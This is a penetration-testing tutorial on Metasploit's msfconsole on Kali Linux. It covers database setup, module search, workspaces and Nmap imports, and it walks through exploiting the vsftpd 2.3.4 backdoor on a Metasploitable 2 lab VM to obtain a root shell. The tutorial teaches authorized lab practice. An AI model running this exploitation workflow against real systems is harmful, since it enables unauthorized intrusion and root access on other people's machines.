| Tested on | Kali GNU/Linux Rolling (kali-rolling) |
|---|---|
| Package | metasploit-framework 6.4.135-0kali1postgresql 18+290nmap 7.99 |
| Applies to | Kali Linux |
| Privilege | sudo or root for database setup and package updates |
| Scope | msfdb init, msfconsole module workflow, workspaces, db_nmap imports, session handling, and a controlled Metasploitable 2 lab walkthrough. Does not cover msfvenom payload crafting, persistence, pivoting, evasion, or public targets. |
| Related guides | Reverse shell cheat sheet Pentest lab setup |
Metasploit groups exploits, scanners, and post-exploitation tools into loadable modules you drive from msfconsole. This tutorial walks through that console on Kali Linux: initialize the database, search and evaluate modules, import scan results, run one controlled Metasploitable 2 lab, and manage the resulting session.
What is Metasploit
Metasploit organizes offensive security work into modules. You load one module at a time in msfconsole, set its options, and run it against targets you are allowed to test.
| Module type | Purpose |
|---|---|
| Auxiliary | Scanning, enumeration, fuzzing, and supporting actions that do not deliver a payload |
| Exploit | Triggers a specific vulnerability to gain access |
| Payload | Code executed after successful exploitation |
| Post | Actions against an existing session (file access, privilege checks, cleanup) |
| Encoder / NOP | Transform payloads or pad shellcode during exploit development |
On current Kali releases the primary interface is msfconsole. Legacy tools such as msfcli and msfweb are retired. Graphical front ends like Armitage may still exist in some distributions, but they are not part of the day-to-day workflow this guide follows.
Prepare an isolated lab
You need two virtual machines on the same isolated segment:
- Kali Linux as the attacker workstation (where you run
msfconsole) - Metasploitable 2 as the intentionally vulnerable target
Connect both VMs to a host-only or internal network in VirtualBox or VMware. Snapshot the target VM before each exercise so you can roll back after an exploit changes the system.
Confirm the target address from Kali. Replace TARGET below with the IP your hypervisor assigned (host-only labs often use 192.168.56.101). Use KALI_IP for your Kali address on the same segment (often 192.168.56.100):
ping -c 2 TARGETSample output:
PING 192.168.56.101 (192.168.56.101) 56(84) bytes of data.
64 bytes from 192.168.56.101: icmp_seq=1 ttl=64 time=0.4 ms
64 bytes from 192.168.56.101: icmp_seq=2 ttl=64 time=0.3 ms
--- 192.168.56.101 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1001msA quick port scan confirms the FTP service you will match to a module later:
nmap -sV -p 21 TARGETSample output:
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4On a default Metasploitable 2 install the FTP banner includes vsFTPd 2.3.4. If the banner shows a newer version, restore the VM snapshot or pick a different service that matches an available module.
Initialize the Metasploit database
The PostgreSQL-backed database stores hosts, services, notes, imported scan results, and workspace boundaries. Initialize it once per Kali install:
sudo msfdb initSample output:
[+] Starting database
[+] Creating database user 'msf'
[+] Creating databases 'msf'
[+] Creating databases 'msf_test'
[+] Creating configuration file '/usr/share/metasploit-framework/config/database.yml'
[+] Creating initial database schemaConfirm PostgreSQL is listening before you open the console:
sudo msfdb statusThe status command should list a postgres process bound to localhost:5432 and report that /usr/share/metasploit-framework/config/database.yml exists.
Start msfconsole in quiet mode to skip the ASCII banner during scripts:
msfconsole -qInside the console, verify the database connection:
db_statusSample output:
[*] Connected to msf. Connection type: postgresql.When db_status reports connected, Metasploit can persist db_nmap results, track hosts and services, and separate lab projects into workspaces.
Metasploit msfconsole command workflow
A common exploit-module workflow is:
search → info → use → show options → set RHOSTS → check → run → sessionsAuxiliary modules may skip check, do not need a payload, or never open a session. Learn the sequence on a harmless scanner before you load an exploit.
| Step | What it does |
|---|---|
search |
Find modules by keyword, type, platform, or CVE |
info |
Read description, rank, references, and whether check is supported |
use |
Load the module and change the prompt |
show options |
List required and optional settings |
set RHOSTS |
Point the module at your lab target (use RHOST if show options lists that name instead) |
check |
Ask the module whether the target looks vulnerable (when supported) |
run |
Execute the module |
sessions |
List and interact with open shells |
Practice with an SSH version scanner
The SSH version auxiliary module only reads a banner. Run it against your Metasploitable VM to practice the workflow on the same TARGET you will exploit later.
Search for the scanner:
search ssh_versionPick the scanner from the results:
use auxiliary/scanner/ssh/ssh_versionReview required options:
show optionsPoint it at Metasploitable and run it:
set RHOSTS TARGET
runSample output:
[*] 192.168.56.101 - SSH server version: SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntu1
[*] 192.168.56.101 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completedThe version line is what you compare against module descriptions before you run an exploit. Return to the global prompt with back when you finish with a module.
Search and evaluate modules
Metasploit search accepts several filters. Combine them to narrow large result sets:
search type:auxiliary platform:linux ftp
search type:exploit name:vsftpd
search cve:2011-2523search type:auxiliary name:ftp_version may return no rows on Metasploit 6.x even though the module exists. When that happens, search by keyword (search ftp_version) or load the full path with use auxiliary/scanner/ftp/ftp_version.
After you pick a module, read the metadata before you set options:
info exploit/unix/ftp/vsftpd_234_backdoorSample output:
Name: VSFTPD 2.3.4 Backdoor Command Execution
Module: exploit/unix/ftp/vsftpd_234_backdoor
Platform: Unix, Linux
Rank: Excellent
Disclosed: 2011-07-03
Check supported: YesConfirm these items before you run anything against a lab target:
- Product name and exact version from your scan
- Target platform matches the module (
Linux,Windows,Unix, and so on) - CVE or reference IDs align with what you observed
- Required options from
show optionsare set - Module rank in
info(Excellent, Great, Normal, and so on) describes expected exploit reliability and service-crash risk, not whether the host is vulnerable - Whether
checkis supported (shown ininfo)
List compatible payloads and platform targets when an exploit needs them:
show targets
show payloadsFor vsftpd_234_backdoor, the exploit connects to the backdoor bind shell on target TCP port 6200. Use the cmd/unix/interact payload to work with that shell directly instead of a reverse listener.
Use workspaces and import scan results
Workspaces partition database contents per project. Create one for your Metasploitable lab:
workspace
workspace -a metasploitable-labImport an Nmap service scan directly into the database. This section covers only the Metasploit integration, not a full Nmap tutorial:
db_nmap -sV -p 21,22,80 TARGETReplace TARGET with your Metasploitable IP. The command runs Nmap and stores hosts and services automatically.
Query what landed in the database:
hosts
servicesSample services output:
host port proto name state info
---- ---- ----- ---- ----- ----
192.168.56.101 21 tcp ftp open vsFTPd 2.3.4
192.168.56.101 22 tcp ssh open OpenSSH 4.7p1 Debian 8ubuntu1 protocol 2.0
192.168.56.101 80 tcp http open Apache httpd 2.2.8List recorded vulnerabilities when a module or import adds them:
vulnsSwitch back to the default workspace with workspace default when you finish a lab.
Run a controlled Metasploitable 2 lab
This section walks through one well-documented Metasploitable service (FTP on port 21) without turning the page into a vulnerability deep dive. The goal is the Metasploit workflow, not memorizing a single CVE.
Match the service version to a module
Enumerate FTP with the auxiliary scanner:
use auxiliary/scanner/ftp/ftp_version
set RHOSTS TARGET
runOn Metasploitable 2 you should see a banner similar to 220 (vsFTPd 2.3.4). If the banner shows a different release, restore the snapshot or choose a different service.
Search for a matching exploit:
search type:exploit platform:linux vsftpdLoad the module and read its requirements:
use exploit/unix/ftp/vsftpd_234_backdoor
info
show optionsSet the target address:
set RHOSTS TARGETRun the check step when the module supports it:
checkSample output:
[+] TARGET:21 - The target appears to be vulnerable. vsftpd 2.3.4 banner detected; backdoor may be presentThe service banner and FTP response match the vulnerable build, but only a successful run confirms that the backdoor listener on TCP port 6200 can be reached. A clean vsFTPd 2.3.4 install without the trojaned archive can still pass check.
Configure the interact payload
This exploit spawns a command shell on the target at TCP port 6200. Select the payload that attaches to that existing shell instead of starting a reverse listener:
set payload cmd/unix/interact
show optionsConfirm RHOSTS and RPORT are set. You do not need LHOST or LPORT for this lab.
Execute and verify the session
Run the exploit in the background so Metasploit does not drop you straight into the new shell. A normal run with cmd/unix/interact attaches to the session immediately, so the next sessions -l would be typed at the target prompt instead of msf6 >.
run -zSample output (abbreviated; your Kali IP and ephemeral source port will differ):
[+] TARGET:21 - The target appears to be vulnerable. vsftpd 2.3.4 banner detected; backdoor may be present
[*] TARGET:21 - FTP banner hints its vulnerable: 220 (vsFTPd 2.3.4)
[+] TARGET:21 - Backdoor has been spawned!
[*] Command shell session 1 opened (KALI_IP:38412 -> TARGET:6200) at 2026-07-31 18:15:32 +0000The run -z flag keeps you at the msfconsole prompt. List sessions:
sessions -lSample output:
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 shell cmd/unix KALI_IP:38412 -> TARGET:6200Attach using the ID from that table:
sessions -i <id>Run a harmless verification command:
idSample output:
uid=0(root) gid=0(root)Return to msfconsole without closing the shell. Press Ctrl+Z, then answer y when Metasploit asks whether to background the session:
Background session 1? [y/N] yConfirm the session is still listed:
sessions -lClose the lab cleanly. Reattach with sessions -i <id> and type exit or press Ctrl+D from the shell rather than installing persistence or modifying startup scripts. Restore the Metasploitable snapshot before the next exercise.
Manage sessions
Sessions are the active connections Metasploit keeps after a successful exploit or auxiliary action that spawns a shell.
| Command | Purpose |
|---|---|
sessions -l |
List session IDs, types, and target addresses |
sessions -i <id> |
Attach to a session |
Ctrl+Z, then y |
Background a basic command shell and return to msfconsole |
jobs |
List background modules still running |
jobs -k <id> |
Stop a background job by ID |
When no exploit has run yet, sessions -l reports no active sessions:
Active sessions
===============
No active sessions.Command shell sessions behave like a remote terminal: each command you type runs on the target and prints text back. Use Ctrl+Z to background a command shell; the background command is for Meterpreter sessions. Meterpreter adds a richer command set for file transfer and system inspection. This tutorial stops at basic command shells; pivoting, credential harvesting, and persistence are out of scope.
Save reusable settings
Repeated lab setup is easier when you store defaults and replay them with a resource script.
| Command | Purpose |
|---|---|
set OPTION value |
Set an option for the active module only |
setg OPTION value |
Set a global default that persists across modules |
getg OPTION |
Show a global setting |
unset OPTION |
Clear a module option |
save |
Write the active datastore to ~/.msf4/config |
Save your current module options:
saveSample output:
Saved configuration to: /home/kali/.msf4/configThe path expands from your login name when you run msfconsole as a normal user.
A short resource script can initialize the workspace and run enumeration when you start a lab:
workspace -a metasploitable-lab
db_status
use auxiliary/scanner/ftp/ftp_version
set RHOSTS 192.168.56.101
runSave that block as ~/metasploitable-lab.rc and replay it:
msfconsole -q -r ~/metasploitable-lab.rcMetasploit also keeps command history inside the console. Type history to review recent commands. When you finish a lab, clear saved defaults you no longer need with unsetg or edit ~/.msf4/config.
Update Metasploit on Kali
Kali distributes Metasploit as the metasploit-framework package. Refresh the index and upgrade:
sudo apt updatesudo apt install metasploit-frameworkConfirm the installed build:
msfconsole --versionSample output:
Framework Version: 6.4.135-devDo not run msfupdate on Kali. That script targets standalone Rapid7 installations outside the distribution package manager and can conflict with apt-managed files.
Troubleshooting
| Symptom | Likely cause | Fix |
|---|---|---|
msfconsole: command not found |
Metasploit package not installed | sudo apt install metasploit-framework |
db_status reports not connected |
Database never initialized or PostgreSQL stopped | sudo msfdb init, then sudo msfdb status |
| PostgreSQL not running | Service disabled after reboot | sudo msfdb init or start PostgreSQL with sudo systemctl start postgresql |
search returns no rows |
Filter too narrow or module renamed | Broaden the query (search vsftpd) or use the full module path |
| Module reports no target | RHOSTS or RHOST unset or wrong |
show options, then set the target option name exactly as listed |
You set RHOST but nothing happens |
Option name mismatch | Use the name from show options (RHOST or RHOSTS) |
| Exploit finishes with no session | Backdoor port 6200 blocked, target already exploited, or trojaned build absent | Run check when supported; if port 6200 is already open the module reports Unknown, not vulnerable. Restore the Metasploitable snapshot |
check passes but run fails |
Banner matches 2.3.4 but the trojaned archive is not installed | Compare banner to module info; restore the Metasploitable snapshot |
| Scanner finds no open ports | VM network isolation or wrong IP | Verify both VMs share the same host-only network and ping TARGET succeeds |
References
- Metasploit Framework documentation
- Using Metasploit — Rapid7
- Metasploit database support
- Exploit ranking
- vsftpd_234_backdoor module source
- Metasploit GitHub repository
Summary
Metasploit on Kali Linux centers on msfconsole and a repeatable module workflow. You initialize the database with msfdb init, search and evaluate modules with info and show options, store scan data in workspaces, and manage resulting shells through sessions. The Metasploitable 2 FTP example shows how banner version, module rank, and check output fit together before you run an exploit with cmd/unix/interact.
The details that trip up beginners are usually version matching, not syntax. Set the target option name from show options, confirm the vsFTPd 2.3.4 banner on TARGET, and remember that check only validates the banner and FTP response. A successful run that opens a session on port 6200 is the proof the backdoor is reachable. Restore VM snapshots between labs so service versions stay predictable.
For a full vulnerable target setup, continue with the Metasploitable lab guide and service-specific walkthroughs in Learn hacking using Metasploitable 2. Keep practice on private lab networks with explicit authorization.

